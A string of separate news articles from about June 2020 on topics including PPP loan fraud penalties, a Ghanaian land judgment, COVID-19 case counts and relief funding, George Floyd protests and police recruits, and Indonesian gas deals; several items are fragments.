It may be tempting to put a few more things on your company card during this tough time, but its not a good idea to use PPP funds towards non-business-related purchases, even if its an emergency. Careful record-keeping will expose small mistakes like this one, so be sure you keep your PPP funds separate from your personal expenses in order to avoid any nasty consequences down the road.

Related: 8 Legal Requirements When You Start A Business

The consequences of PPP loan blunders

If you are accused of PPP loan issues, there is no need to panic just yet, especially if youve kept records and done everything by the book. But you should know what type of punishment you are looking at even if you inadvertently commit a crime related to your SBA loan. You may be subject to not just fines, but federal felony charges that come with prison time. Here is just a brief list of the issues you could run into after receiving a PPP loan, along with the consequences you may face.

For dishonest statements made on federal applications, you could be subject to charges brought against businesses by the FBI and Inspector General. These will lead to arrest as well as felony charges. These include: FEMA fraud, SBA loans fraud, and PPP fraud.

When it comes to unemployment benefits and unemployment insurance, any business caught defrauding these systems will be subject to arrest by the district attorney and prosecution by the AG or even the FBI.

Another issue that you may run into is tax fraud, which can come about from lying or submitting dishonest information to the IRS in order to receive more funds. No one wants an issue with the IRS, and these charges can come with an arrest by the IRS Criminal Division. These also include payroll fraud, 1099 fraud, and W2 recipients fraud as well.

Any business that is shown to be committed fraud related to the health crisis, whether it's a dispute between partners and investors or employment fraud, will be subject to charges as well. Dont use the pandemic to take advantage  its not in your best interest.

Keeping your business safe

Although the consequences to these types of criminal actions are extremely serious, a skilled criminal defense attorney should be able to clear your name if you come up against false charges of fraud. Remember: The more meticulous and exact your record-keeping has been, the better off youll be in a situation like this.

Taking the strict regulations surrounding these loans seriously is not just a good idea  its essential if youre looking to run a trusted and successful business whose legacy you can be proud of.

Related: How to Stop a Frivolous Lawsuit From Sinking Your Business
The High Court, Accra presided over by His Lordship Jerome Noble-Nkrumah on the 6th May 2020, confirmed Agri-Cattle Lakeside Estate Limited as the legal owners of the Land measuring 2911.53 acres and situate at Katamanso in the Greater Accra Region of Ghana.



In his judgment, the court also stated that the court finds that the plaintiff, Nii Adjetey Obuor Buor II of Teshie has failed to satisfy the court in this regard on all his claims against the Defendants including Agri-Cattle Lakeside Estate Limited herein, consequently the Plaintiffs action fails in its entirety and same is dismissed.



The court awarded a cost of GH20,000.00 against the plaintiff, Nii Adjetey Obuor Buor II of Teshie and in favor of Agri-Cattle Lakeside Estate Limited.



Plaintiff's claim



The Plaintiff sued Agri-Cattle Lakeside Estate Limited, The Nungua Stool, and fourteen other defendants at the High Court, Accra seeking a declaration for the land covering 1,640 acres which includes Agri-Cattle Lakeside lands.



The Plaintiff as part of his reliefs further asked the High Court to make an order directed at Agri-Cattle Lakeside Estate Limited to pay compensation for the area utilized to the family of Nii Adjetey Obor Buor and further order to release the unutilized portions of the land to the plaintiffs family.



In support of his claim against the Agri-Cattle Lakeside Estate limited and other defendants, the plaintiff who described himself as Gbeyeomli Mantse and a direct descendant of Numo Adjetey Obuor Buor, the founder of Gbeyeomli village and its surrounding villages.



The Plaintiff says his ancestors discovered the land in issue through hunting long before the Katamanso war and was the first to build a cottage on the strench of land and that Gbeyeomli was founded contemporaneously with Oyarifa and Ashalley Botwe.



The Plaintiff further stated that Gbeyeomli land forms part of the larger Numo Nmashie lands as confirmed in judgment obtained by Numo Nmashie family in Civil Appeal No. 49/80. The Plaintiff also said their lands were in the stomach of AshaleyBotwe.



Injunction order



The Plaintiff further as part of his reliefs asked the High Court to make an order of perpetual injunction restraining all the Defendants, their agents and assigns or privies from entering or developing or conveying any portions of the land or further doing anything on the land that is likely to be an encumbrance or inconsistent with the allodial ownership of the land.



The case of Agri-Cattle Lakeside Estate Limited



Agri-Cattle Lakeside Estate Limited traced its roots of title to a grant of the land by the Nungua Stool on 8th October 1970 to the then Black Watch Cattle Breeding Farms. This grant was for farming purposes and the land was 4,244.25 acres. On 18th January 1974, Black Watch Cattle Breeding Farms assigned its interest in the entire land to Agri-Cattle Limited with the consent and concurrence of Nungua Stool. The land was also registered at Lands Commission. Subsequently the Nungua Stool granted to Agri-cattle Ltd a change in use of land from farming to real estate development. The company then changed its name to Agri-Cattle Lakeside Estate Limited on 13th June 2005 and same was duly registered at Registrar General Department.



Agri-Cattle Lakeside Estate Limited which was the 4th defendant stated that due to compulsory acquisition by the Government of Ghana over a portion of its land on 27th May 1992 for State Housing Project, its land size reduced from 4,244.25 acres to 2,911.53 acres at the time it acquired its Land Title Certificate No. TD0513 in 1996. Agri-Cattle Lakeside Estate Limited further told the Court that they have been in undisbursed possession and occupation of the land granted to them by Nungua Stool since 1974 and they have built several houses and amusement park on the said land.



Apart from the lease agreements and Land title Certificate among other documents which the 4th defendant, Agri-Cattle Lakeside Estate Limited tendered as evidence of acts and events of living memory by undisturbed possession and occupation on its land, it also tendered in support of its claim, three (3) High Court judgments which all confirmed the 4th defendant as the legal owner of the land it occupies.



The cases were Suit No. AL/83/2007 Agri-Cattle Lakeside Estate Limited vrs Lands Commission, & Anor, Suit No. BL 313/05 John Armah & Ashalley Botwe Family vrs Agri-Cattle Lakeside Estate Limited and Suit No. FAL 363/13 the Numo Nmashie Families of Teshie/La represented by Daniel Nii Adzete Adzei and Nii Nmai Kodzo vrs Benjamin Quarshie Mensah, Agri-Cattle Lakeside Estate, The Nungua Stool.



Nungua Stool also confirmed that they had granted the land to Agri-Cattle Lakeside Estate Limited since 1974.



The court decision



The Court in evaluating the evidence of the parties to arrive at its final decision said that in the composite plan ordered by the court, the land shown by the plaintiff to the surveyor is even much bigger than the land shown by the plaintiffs own site plan.



The Plaintiff called a witness who claimed to be an administrative head of Numo Nmashie family, a retired officer of the erstwhile Ghana Airways Corporation, consequently very literate and as an administrative head of Numo Nmashie family whose lands Gbeyeomli claimed to be part of and who has access to maps and judgments in the name of the family, could not describe the land in issue.



The Court had this to say A claim for declaration of title or order for injunction must always fail if the plaintiff fails to establish positively the identity of the land he claims



The Court also commented on the Numo Nmashie & Ashiyie families of Teshie/La case against the Agri-Cattle Lakeside Estate Limited, the court found that the 1st Plaintiff (Numo Nmashie family) failed to establish their title to the subject land by their acquisition, identity and possession or its right to possession amongst others. The Court then entered judgment in favor of Agri-Cattle Lakeside Estate on its counter claim. The 1st Plaintiff in that matter is the same Numo Nmashie family to which the plaintiff says he belongs and whose lands the plaintiff claims Gbeyeomli land forms part of.



The High Court in its final decision stated the position of the law thus It was trite principle of law that, he who asserts must prove and must win on the strength of his own case and not on the weakness of the defense.



The Court then concluded that from the foregoing and since its endeavor is to adduce such evidence as will satisfy the court that on a balance of probabilities one partys evidence is preferable than the other, this court finds that the plaintiff has failed to satisfy it in this regard on all his claims against the defendants herein, consequently, the plaintiffs action fails in its entirety and same is dismissed with a cost of Ghc20,000 twenty thousand Cedis awarded against the plaintiff.

Source: Ghanaweb









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POS Foundation, facilitators of 'Justice for All' programme, has appealed to government to grant amnesty to non-violent convicts who are serving jail terms in prison for drug use in order to decongest the prisons in the midst of the Covid-19 pandemic.

According to him, the consequences can be dire if an inmate contracts the virus which has killed thousands across the world, as there can be no proper social distancing in the overly congested prisons.

The Executive Chairman of POS Foundation, Jonathan Osei Owusu, made the appeal when the organisation donated some personal protective equipment (PPE) to the Nsawam Medium Security Prison.

The items included hand sanitizers, liquid soaps, Veronica buckets, locally made handwashing machines, food items and cotton cloths for the production of face masks.

Besides, the organisation organized an orientation programme for the prison officers on the emerging trends of the Covid-19 outbreak.

An amount of GH2,000 was donated to the prison authority as part of support for transportation of some of the items to the Akuse and Koforidua prisons.

Speaking to the press after the donation, Mr. Owusu noted that one of the ways to decongest the prisons is to grant amnesty to non-violent convicts who are serving time for drug use who, according to him, pose no danger to society but themselves.

He commended the President for granting amnesty to some 808 prisoners in the wake of the growing numbers in the Covid-19 cases in Ghana but added that more can be done as seen in other parts of the world.

DSP Adamu Abdul Latif, who received the items on behalf of the Prison Service, thanked the foundation for the gesture and called on others to support them to ensure that no case of the virus is recorded in the prison.

He also called for amnesty for the aged and convicts battling chronic diseases, such as diabetes and hypertension, who are those who suffer the most when affected.

Social distancing is a problem in the prisons. By helping to decongest the prisons, I think it will help lessen the challenges of managing the prisons. But our authorities are in control; they are in consultation with the government and they will do what is right for the prison and the prisoners, DSP Adamu added.

---Daily Guide
New Delhi, June 5 : The Supreme Court on Friday sought a response from private hospitals, which were given land free of cost by the government, if they are willing to charge tariffs prescribed under the Ayushman Bharat scheme for the treatment of COVID-19 patients.

A bench headed by Chief Justice S A Bobde gave two weeks to the private hospitals to clarify their stand in an affidavit. The query was put forth by the top court during the hearing of a PIL by advocate Sachin Jain who argued that private hospitals, given land of free of cost, should not charge heavily from COVID-19 patients. The top court on May 27 had sought the Centre's response on the PIL.

The Chief Justice said he is not going to grant prayers against all private hospitals. "Why can't charitable hospitals which have taken huge benefit from the government (including free of cost land), certain percentage of work has to be free", said Justice Bobde.

Senior advocates Harish Salve, appearing for the hospitals federation, and Mukul Rohatgi for the association of hospitals, contested this suggestion from the court and said it is not financially sustainable.

The senior advocates informed the top court that the hospitals are already incurring a huge revenue loss due to the COVID-19 pandemic, as many patients are not visiting hospitals for the treatment of other illnesses.

Rohatgi cited the recent Delhi government order to convert Sir Ganga Ram Hospital into a dedicated coronavirus hospital. He insisted that this hospital will only treat Covid-19 patients, which will adversely hit its revenue, and nobody will go to the hospital for treatment. "It will eventually close down the hospitals", he added.

Both Salve and Rohatgi said private hospitals' revenue has dropped between 60 to 70 percent as people are not visiting hospitals during the pandemic.

"People are not coming to hospitals for treatment.... Footfall has gone down," Salve said.

Jain argued that the government attitude supporting private hospitals is not correct. He contended before the bench that under the Centre's Ayushman Bharat Scheme a beneficiary is charged Rs 4000 per day, whereas private hospitals charge Rs 50,000 for a person who is not a beneficiary under the scheme.

The Chief Justice queried the petitioner who will determine the cost, if the court were to make an order on the cost aspect? Jain argued that the Ayushman Bharat Scheme involves the profitability aspect of the hospital, and insisted that the court determine a standard rate considering the social welfare aspect.

Solicitor General Tushar Mehta clarified the scheme was made for the "lowest strata of society," especially for those who cannot afford high cost of private healthcare services. "Those included in the scheme are rag pickers, beggars etc", said Mehta, insisting that any statement that the Centre is behind private hospitals during this hour of crisis is not correct.

Rohatgi said that the private hospitals also treat Ayushman Bharat Scheme beneficiaries, and this cannot be extended to those who are not beneficiaries.

-- The story has been published from a wire feed without any modifications to the text
"The idea is to continue working without increasing the level of contagion in the country," he expressed.

Concerning the second phase which is currently underway he affirmed that the economy needs to be reactivated but under a different approach. That means not only staying at home , but also remaining protected whenever there is a need to go outside.
A new revelation came when George Floyd's friend said that despite getting manhandled, Floyd did not resist arrest but was killed by police brutality.

A firsthand witness, who saw everything that happened and even the death of George Floyd, spoke up. Tragically, the witness said Floyd did not act aggressively. In fact, it was the opposite by trying to give up and reason with the police officer, who would kill him in a short time, reported the New York Post.

Instead of the usual cuffing, Derek Chauvin put a knee on Floyd's neck and all was witnessed by his friend who saw the police kill the unresisting Floyd.

An eyewitness' account of events

The New York Times interviewed Maurice Lester Hall who witnessed the death of Floyd at the hands of Chauvin and three other officers who did nothing. Hall stressed that his friend tried to avoid violence, and never resisted, just lay there.

In a Wednesday night interview, Hall added that Floyd was asking why they were arresting him and he was begging for help because Chauvin was killing him as he was being choked to death by Chauvin's knee.

In spite of the fear seen in Floyd's face in his final moments, he was such a king. Hall also said that he'll never forget the moments when Floyd cried and passed on.

Maurice Lester Hall, 42 years old, soon after was arrested and found in Houston last Monday, and interrogated by investigators in Minnesota, according to sources.

After Hall's arrest by the Minnesota officials, they released new information about him and cited serious charges that were against the witness. According to them, he has a serious charge of illegal firearms, domestic violence, drug possession, and gave a false name at Floyd's arrest, said the investigators.

Also read: George Floyd's Son Opposed to Violent Protests, Joins Non-Violent Demonstration Instead

He later visited the place where his friend took his last breath and hitchhiked to Houston. With the whole world finding out how police cruelty led to the death of George Floyd, Hall visited the place Floyd stopped breathing courtesy of Chauvin's knee.

Floyd's friend was pressured by investigators

Maurice Lester Hall was still under detention by Minnesota Official, the reasons were not stated. But last Tuesday, lawyers got him released so he can go home.

The attorney of Hall, Ashlee McFarlane related to the New York Times that his family was alarmed that he was in jail about 10 hours, after an interrogation till 3 am in the morning, and was not even the suspect but a key witness.

Hall then commented that the investigators will not sit and are going to do something. He added that he saw everything and cops killing George Floyd, plus the cops are keen on what side he is. His part is done and there is nothing else to his involvement.

Why Hall went to Houston, he explained that George Floyd was the only tie in Minnesota, and Houston was tied to George. Floyd was a good friend but he is gone, taken by the circumstances.

The Minnesota Bureau of Criminal Apprehension weighed in and claimed that Hall never tried to answer back, said Bruce Gordon. Hall claimed that during those days after Floyd was choked to death, he was shaken and did not take calls.

There were two more passengers in the car, with the unfortunate Floyd and the other one was a woman, but Hall did not know her name, as reported by the Insider. Lastly, Hall told the paper that he will speak for his deceased friend.

Related article: George Floyd Autopsy Shows He Had Coronavirus That May Aggravated His Maltreatment by Police

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Montana Gov. Steve Bullock announced additional pandemic relief funding for small businesses, meat processors and local governments on Thursday.

The state is adding $25 million to a $50 million grant fund to support small businesses recover from the economic downturn. Businesses could seek a maximum of $10,000. The state has received applications for more than $61 million and has paid out $10.6 million.

Bullock also announced a $2 million fund, with a maximum grant of $150,000, to help local meat processors expand their processing and storage capacity and get more meat on grocery store shelves. Processors have until July 2 to apply.

An increase in in-state processing means more direct sales, and better, value-added markets for producers, Bullock said. These investments will bolster Montanas food security, making us stronger in response to the pandemic, as well as long into the future.

Increased processing capability will provide additional markets for Montana cattle, hog and poultry producers, Bullock said.

Local governments can also now seek reimbursement for coronavirus-related expenses. Counties, cities and towns can also seek repayment from the Federal Emergency Management Agency for emergency spending for coronavirus response.

A low-interest small business loan program is being developed, but the amount of money available has not been determined. It is expected to be announced soon, Bullock said.

The spending is part of Montanas $1.25 billion share of federal coronavirus relief funding.

Bullock earlier announced $123 million in spending, including $50 million for emergency housing assistance and $10 million for nonprofits. The state has paid out $1.5 million in housing assistance and has applications for another $1.6 million. Nonprofits have received just over $5 million in funding and another $3.8 million has been requested as of Thursday, the governors office said.

The initial funding also included $5 million for public health agencies to help businesses develop safe reopening plans. There has been $4.2 million paid out and $680,000 in applications are pending. Food pantries have received nearly $1.7 million from a $2 million grant fund. Applications for another $896,000 in funding are pending.




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Source: Xinhua| 2020-06-05 20:24:35|Editor: huaxia

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HONG KONG, June 5 (Xinhua) -- The number of COVID-19 cases are rising fast in South Asia as India reports its highest daily spike of cases on Friday and confirmed cases topped 60,000 in Bangladesh.

India's federal health ministry said on Friday morning that 273 new deaths due to COVID-19, besides fresh 9,851 positive cases, were reported during the past 24 hours across the country, taking the number of deaths to 6,348 and total cases to 226,770.

This is the highest daily spike in terms of fresh cases and deaths.

Bangladesh reported 2,828 more COVID-19 cases, bringing the total in the country to over 60,000.

"A total of 30 deaths including 23 men and seven women were reported in the last 24 hours, taking the death toll to 811," Nasima Sultana, a senior health ministry official, told an online media briefing in Dhaka.

"The number of confirmed infections in the country totaled 60,391 on Friday," she said.

Afghanistan reported 915 newly confirmed COVID-19 cases, taking the country's total to 18,969, the country's Ministry of Public Health said.

Within the past 24 hours, 1,570 tests were conducted, and 915 were positive cases, the ministry said in a statement.

Up to 309 deaths have been recorded since the outbreak of the pandemic in the country in February, an increase of nine within the past 24 hours.

The COVID-19 cases in Indonesia rose by 703 within one day to 29,521, and the death toll increased by 49 to 1,770, Achmad Yurianto, a health ministry official, said at a press conference on Friday.

According to him, 551 more people have been discharged from hospitals, bringing the total number of recovered patients to 9,443.

The pandemic has spread to all the 34 provinces in the archipelagic country. However, no more positive cases were found in six provinces as of 12:00 p.m. local time on Friday.

The number of coronavirus cases in the Philippines rose to 20,626 after the Department of Health (DOH) reported 244 more infections on Friday.

The DOH said in a daily bulletin that the number of recoveries further climbed to 4,330 after 82 more patients recovered.

The death toll also increased to 987 after three more patients died from the virus, the DOH added.

South Korea reported 39 more cases of the COVID-19 compared to 24 hours ago as of 0:00 a.m. Friday local time, raising the total number of infections to 11,668.

The daily caseload stayed above 30 for five straight days due to small cluster infections from religious gatherings in the metropolitan area.

Malaysia reported 19 new COVID-19 cases, pushing the national total to 8,266, the health ministry said.

Health Ministry Director-General Noor Hisham Abdullah said at a press briefing that of the new cases, seven are imported while among the 12 local transmissions, nine are Malaysian and three are foreign nationals.

One more death was reported, the first since May 22, with the victim having suffered from health conditions before becoming infected, pushing the total deaths to 16.

The number of confirmed COVID-19 cases in the Maldives has risen to 1,872, local media reported.

Among all the cases, 1,215 are active cases and two are foreigners being treated abroad. So far, 648 patients have recovered and seven deaths have been reported, according to the Health Protection Agency.

Fiji is now free of COVID-19 as the remaining three COVID-19 patients were cleared on Friday, said a Fijian minister.

Fiji's health minister Ifereimi Waqainabete said Friday that they will continue to prepare and work as hard as they can to avoid any other waves of the deadly virus.
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Video obtained by RFE/RL appears to show the governor of Uzbekistan's Ferghana region being pelted with stones while visiting a village where ethnic clashes took place. On June 5, Uzbek President Shavkat Mirziyoev headed for the area, an Uzbek exclave within Kyrgyzstan inhabited mainly by ethnic Tajiks.
Photo: The Canadian Press

WestJet Airlines Ltd. has quietly changed its refund policy to allow some customers whose flights were cancelled due to the pandemic to reclaim their cash.

The move appears to make WestJet the first major Canadian carrier to offer refunds rather than credit to passengers whose trips were called off due to the COVID-19 crisis.

The refund offer, spelled out in a document sent to travel agents and obtained by The Canadian Press, applies to flights that include a U.S. or U.K. city as the destination or origin.

WestJet says in an email it is reaching out to customers to alert them to the new option, which applies to all fares and classes but not vacation packages.

The policy does not include flights within Canada or to continental Europe, Mexico or the Caribbean. It is also off limits to customers who chose to cancel a trip ahead of time.

Transportation authorities in the United States and European Union have required airlines  including foreign ones  to offer refunds for flights cancelled as a result of the pandemic.
Enterprise Insurance has described as false claims by Transport Operator Alex Kwaku Tetteh that he is struggling to secure his claims from the company after his vehicles accidentally got burnt.



The matter was sent to the Accra High Court and there was judgment to sit down with the company to resolve matters amicably so my lawyers engaged an insurance broker to intervene but all efforts have been in vain, he said at a press conference in Accra.



But reacting to the development, Enterprise Insurance stated "categorically that Mr. Tettehs allegations are untrue.





Below is the rejoinder to the publication



Our attention has been drawn to some media reports about claims made by one Alex Kweku Tetteh to the effect that we have for several years refused to pay a claim in respect of his vehicle.



We wish to state categorically that Mr. Tettehs allegations are untrue.



The facts of the issue and the chronology of events are as follows:



In November, 2016, Alex Kweku Tetteh took out a one-year comprehensive motor insurance policy in respect of his Fiat Iveco vehicle. He named Universal Merchant Bank (UMB) as an additional insured and Loss Payee (that is, the entity to whom any insurance monies would paid in the event of a claim).



The vehicle got burnt sometime in 2017 and Mr. Tetteh made a claim on the policy.



We entered into settlement negotiations with him, based on the proven value of the vehicle per documentation submitted. He refused our offer and proceeded to Court seeking three reliefs.



In its judgement given on 11th December, 2019, the Court refused all of Mr. Tettehs reliefs.



Following delivery of the judgment, UMB as Loss Payee accepted our initial settlement offer of GHS151,859.01 and executed a Discharge Form, based on which we made payment on 20th December, 2019.



With the said payment and the Discharge Form, our liability in respect of the policy was concluded and we therefore have no further liability towards Mr. Tetteh or the UMB.



Enterprise Insurance continues to operate an open-door policy with the media. Accordingly, we encourage all press houses to verify facts with us before making any publication involving the company.



We further assure our clients that we remain committed to serve them with excellence and professionalism.



Signed



Enterprise Insurance Company Limited

Source: Peacefmonline.com









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While the risk of reaching a catastrophic number of cases and deaths continues to increment, the COVID-19 epidemic has had a great socioeconomic impact on people. More than 3 million Indonesians have lost their jobs due to businesses closing down and the large-scale social restrictions (PSBB). The national poverty rate is predicted to hit 10.6 percent this year, up 1.3 percent from the previous year.

Indonesia has attempted to ease socioeconomic pressures in supporting the most affected communities by expanding its social protection programs. Fiscal budget limitations, combined with the mistargeting of recipients and ineffective administration and distribution, however, have slowed these efforts.

Given the mounting socioeconomic pressures, the government is considering a plan to phase out the PSBB. There are two fundamental conditions that a country must meet to start phasing out social restrictions: a high healthcare capacity to treat the infected, and a strong containment capability to the spread of the virus. Unfortunately, Indonesia has not fulfilled either of these conditions.

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Interior Minister of Ukraine Arsen Avakov told about the progress in the investigation of the murder of journalist Pavlo Sheremet as 112 Ukraine TV channel reported.

The case on the murder of Pavlo Sheremet is very difficult and has a lot of aggravating circumstances and circumstances concealed from the public. However, we gathered a lot of material in this case and did a significant job. Now, what is going on now? Currently, the investigation gathered over 200 volumes, the suspicion is notified to three suspects. Each of the suspects has the right for defense and the court should deliver the decision considering the whole system of arguments of the prosecution, suspicions and defense, Avakov said.

According to him, the investigation believes that it has an exhaustive list of arguments for the announcement of suspicion. The suspects refused to testify, participate in the investigative experiments and pass the polygraph tests.

Avakov added that all materials were passed to the court.

There is no need to speculate politically on this situation; the investigation of this case is very serious; it is not tied with some personas, my career of careers of other officials and police employees. I cannot reveal the details of the case but this episode on three suspects is passed to the court, the materials of the case in 38 volumes are accessible for the colleagues-lawyers; the investigation continues on other episodes of this cases, on instigators, organizers, mechanisms of execution and other co-partakers, the minister added.

Avakov said that the investigation might be renewed on new facts and these fact will be disclosed.

On May 22, the pre-trial investigation against the alleged perpetrators of the murder of journalist Pavlo Sheremet was over.

As we reported before, the pretrial investigation of the murder of journalist Pavlo Sheremet was extended for another two months, up to June 12, 2020. The Prosecutor Generals Office of Ukraine made such a decision on the request of the police investigators.

Ukrainian journalist Pavlo Sheremet was killed in Kyiv on the morning of July 20, 2016. The car he was driving exploded in the citys downtown. The vehicle belonged to his civilian wife, Editor-in-Chief of Ukrainska Pravda outlet Olena Prytula; she was not in the car at the moment. The Ukrainian police qualified the explosion as intentional homicide. Then Ukraines Prosecutor General Yuriy Lutsenko assumed the murder could be the part of some greater plan, perhaps designed by the Kremlin. The key version of Sheremets murder was his professional activity.
It is now in violation of all restrictions outlined by the JCPOA, which Tehran says it hopes will pressure the other nations involved to increase economic incentives to make up for hard-hitting sanctions imposed by Washington after the U.S. withdrew.
The City of Winnipeg public service has identified a number of Winnipeg parks and natural areas it recommends become designated protected lands by the province.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

The City of Winnipeg public service has identified a number of Winnipeg parks and natural areas it recommends become designated protected lands by the province.

The work is being undertaken to identify lands that can be designated under Manitobas Protected Areas Network, to comply with national goals set up by the Pathway to Canada Target 1 program. The program lays out that, at the end of 2019, roughly 12.1 per cent of Canadian lands and freshwaters were protected. By the end of 2020, the goal is to have moved that number up to 17 per cent.

Canada took up the initiative to comply with the goals of the international Convention on Biological Diversity.

"Listing these natural areas that the city is protecting will support Canadas efforts to achieve this target and add Winnipegs natural areas to this international list," a report to the standing policy committee on protection, community services and parks.

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The report lays out three levels of priority for land to be put forward for protection.

The La Salle and Seine rivers corridors have both been given priority designation, while other areas, such as King's Park, Kildonan Park forest, and Moray forest, have been placed lower down on the docket. In total, 28 areas were identified.

If approved by the standing committee June 10, these lands will be added to the list the city is recommending join the Protected Areas Network.

Prairie Museum, Little Mountain Park and the Assiniboine forest were approved Jan. 8.

sarah.lawrynuik@freepress.mb.ca
Seventeen BCycle kiosks in the downtown Houston area ordered shut by Houston police and emergency management authorities will remain closed until June 10, operators of the bike rental system said Friday.

As a nonprofit that seeks to serve as many riders as possible, we disagree with this order and apologize to those who wish to use BCycle during the protests, as well as for the lack of bike share access throughout downtown, officials said in a release.

The 15 stations in the central business district and two in Eado were closed Monday at the behest of police as downtown became the focal point of protests over the death of George Floyd in Minneapolis. Authorities earlier this week said the closings were necessary to assure the safety of demonstrators, but did not elaborate.

Police spokesman Kese Smith said Friday officers asked for the shutdown after they witnessed a few people using the bikes in a way that was dangerous during protests. Smith said officials did not want to specify further because they did not want to provide methods to cause mayhem.

BCycle officials followed the recommendation based on it coming from city officials with whom they often work closely, spokesman Henry Morris said.

The closed kiosks join 10 others the bike system took offline to limit risks during the COVID-19 crisis, putting about 20 percent of the system out of operation. BCycle officials increased cleaning of bikes and kiosks and encouraged riders to use gloves and wash thoroughly before and after using the bikes, but said it was important to remain open to give residents options to exercise.

Despite limiting service, use of the system is climbing, officials said, as home-bound Houstonians look for new ways to safely exercise and travel through the city.

dug.begley@chron.com
Mr Kojo Oppong Nkrumah, Minister of Information on Thursday said it is pre-mature for the Minority in Parliament to call for a special audit of the COVID-19 Alleviation Response Programme whilst various intervention programmes are still ongoing.



The Information Minister explained that Article 187 of the 1992 Constitution stated that general auditing was supposed to be conducted at the end of the financial year.



Additionally, Section 16 of the Audit Service Act stipulated that in addition to the general audit, a special audit could be performed by the Auditor-General at the end of a financial year.



Mr Nkrumah was responding to a question from a journalist during a media briefing in Accra on the Minority's call for a special audit into the GHc280.3 million spent on supply of free food and water for Ghanaians during the lockdown.



The Information Minister said: "It is becoming increasingly clear that our colleagues in the Minority will always find an opportunity to raise controversy, with the hope to distract us from the COVID-19 Response Programme, but we'll not be distracted".



At a news conference on Wednesday, Mr Cassiel Ato Forson, the NDC Ranking Member on the Finance Committee of Parliament, called for special audit of the COVID-19 Alleviation Response Programme, which government supplied free food and water to Ghanaians during the partial lockdown.

Source: GNA









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Delaware County Republicans criticized the primary election process as the county Board of Elections acknowledged some problems but said theyd be fixed by November.

County voters were voting in the midst of the COVID-19 pandemic as they went to the polls Tuesday, the day that had been the scheduled rollout of the new Hart Verity 2.3.4 Voting system with paper ballots. The scanning portion of that was delayed due to the health crisis. In addition, state law expanded the capability of mail-in voting and Delco saw more than 85,000 apply for those ballots.

We know things were not perfect, not everything went as planned and we made some mistakes, a statement by the joint Board of Elections Gerald Lawrence, Ashley Lunkenheimer and James J. Byrne Jr. read. We apologize to you for our shortcomings and appreciate the understanding and patience you showed when frustrated by the circumstances.

They noted personal protective equipment was late to some polls and the return process was extraordinarily slow.

We will refine processes before Novembers General Election with (Tuesdays) experience offering us better understanding of the logistical considerations presented by the recent changes to voting methods and new voting equipment, they wrote.

Delaware County Republican Chairman Tom McGarrigle blamed incompetent management.

(Tuesday) was nothing more than a complete failure of planning and leadership by the elected Democrat officials of Delaware County, he said. The surge in mail-in voting was predictable long before the onset of the COVID-19 outbreak, but despite months of warning our county officials were caught totally flat-footed. People didnt get their ballots, they got the wrong ballots, or they got multiple ballots.

The GOP leader alleged that the county mailed out approximately 25,000 mail-in ballots after the May 28 deadline. He said the Democrat-majority election board went to court on Election Day for more time to send and count out ballots.

County officials said the county filed a petition with the court in response to a Delaware County Republican Party challenge to Gov. Tom Wolfs executive order extending the June 2 mail-in deadline to June 9 at 5 p.m.

On Tuesday, the county court did agree with the county and extended the deadline for mail-in ballots to 5 p.m. June 12.

McGarrigle offered his perspective on the situation.

Despite the COVID-19 outbreak, counties across the country have been able to effectively hold elections, he said. Not here in Delaware County, where county Democrats put partisanship ahead of good governance. County Democrats owe voters an apology, and they need to present a plan to ensure that the failures of (Tuesday) are never repeated.
WASHINGTON - Cloaked by the shadow of the Martin Luther King Jr. Memorial, Antonio Watson, a 24-year-old recruit officer with the Washington D.C. police, bowed his head in silence. He thought about the early hours on Monday, when he processed the arrests of one protester after another whose wrists, many the same color as his own, were bruised from handcuffs and whose eyes bore into his with disgust.

"Everyone is saying you guys got to stop killing people and it makes me mad over and over again," said Watson, a D.C. native, who now stood erect in his tan uniform with fellow recruits on Friday. "This right now, this is one of the reasons I wanted to become a police officer. If you want change, you have to be the change."

This year's police recruit officers, in the District and across the nation, are entering a world that is increasingly repulsed by their existence. For these soon-to-be officers, the movement for racial justice represents not just a national reckoning but also a defining moment.

D.C. Police Chief Peter Newsham, recognizing a need for everyone from trainees to lieutenants to process their place in this movement, called more than 100 people from his department to stand beneath the towering monument of King on Friday morning. There, under the gentle sun, young cadets struggled to reconcile their duty to serve with their personal outrage over the killing of George Floyd in police custody in Minneapolis.

"I wish I was out there walking in those marches because that is my family, those are my brothers and sisters," said Erica Hass, a 22-year-old cadet who is white. "I don't know how to cope because of where I stand with police as well as Black Lives Matter, and then being treated the way we have been treated recently."

Hass and Watson were in the agency's processing center on Monday night when federal officers removed crowds of largely peaceful protesters near the White House with pepper spray and rubber bullets. They watched as protesters filed through the door, one by one, as the recruit officers eventually helped input their arrests. That night, Hass and Watson said they felt lonely, turning off their cellphones and logging off all social media as friends and family berated them for their role in the protests.

"I am just focused on moving forward and learning how to be a better cop," said Hass, who studied social justice in college. "It is my calling to protect and serve, to be on the front lines of law and justice. I am proud to be here, but I grieve for my family."

While Hass and Watson are not yet on the front lines, some police officers who interact with protesters daily are similarly searching for ways to enforce order while expressing support for racial equality. One officer recalled engaging in a passionate exchange with protesters on Wednesday night, saying, "I know I'm black before I'm anything else. And I'm going to be black after this job."

Others, in the District and around the nation, have taken a knee to show support for the movement. Newsham, however, is concerned that these individual gestures of solidarity may endanger his police officers. He called the Friday morning meeting in part to address those fears.

"When a police officer takes a knee in a volatile situation, they could potentially be putting themselves in danger, so police supervisors expressed an interest in correcting that behavior," he said. "If someone is feeling that strongly about something, we don't want to discipline them. So the idea came at that time to give our officers the opportunity to hear how their leadership feels about what happened."

"We watch a human being murdered in front of our eyes, we watch police officers standing by allowing it to happen. Then we watch our city essentially up in flames," Newsham said. "It is undoubtedly the hardest time in my career."

Over the last two years, D.C. police implemented new protocol that requires all officers to visit the African American History Museum, in addition to the Holocaust Museum, for a full day as part of their training. Master Police Officer Curtis Coleman, who leads the trainings, found himself moved at the historic sight on Friday morning.

"I am going to be honest, I don't feel proud to be an officer right now," said Coleman, who is from Southeast Washington. "But knowing what I have done over my 29 years and what I have come back to do to try to make sure that these folks who are coming behind me get it right, yes I do feel proud. And I will put this uniform on until I get that point across."

The hour-long meeting ended and the officers pulled their masks on and stood side by side. They then marched in unison through King's shadow and back out into the city, where they would soon face an eighth day of protests.
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Linkedin Norman Harsono (The Jakarta Post) Jakarta  Fri, June 5, 2020 07:46 595 fc6853813033f564188675f8bdc426d9 1 Business companies,letter-of-agreement,Gas,natural-gas,pgn,petrokimia-gresik Free

Seven more companies have signed deals with gas producers to receive gas at subsidized prices following similar agreements with 11 companies in May, as the government seeks to boost Indonesia's manufacturing sector amid the COVID-19 pandemic.

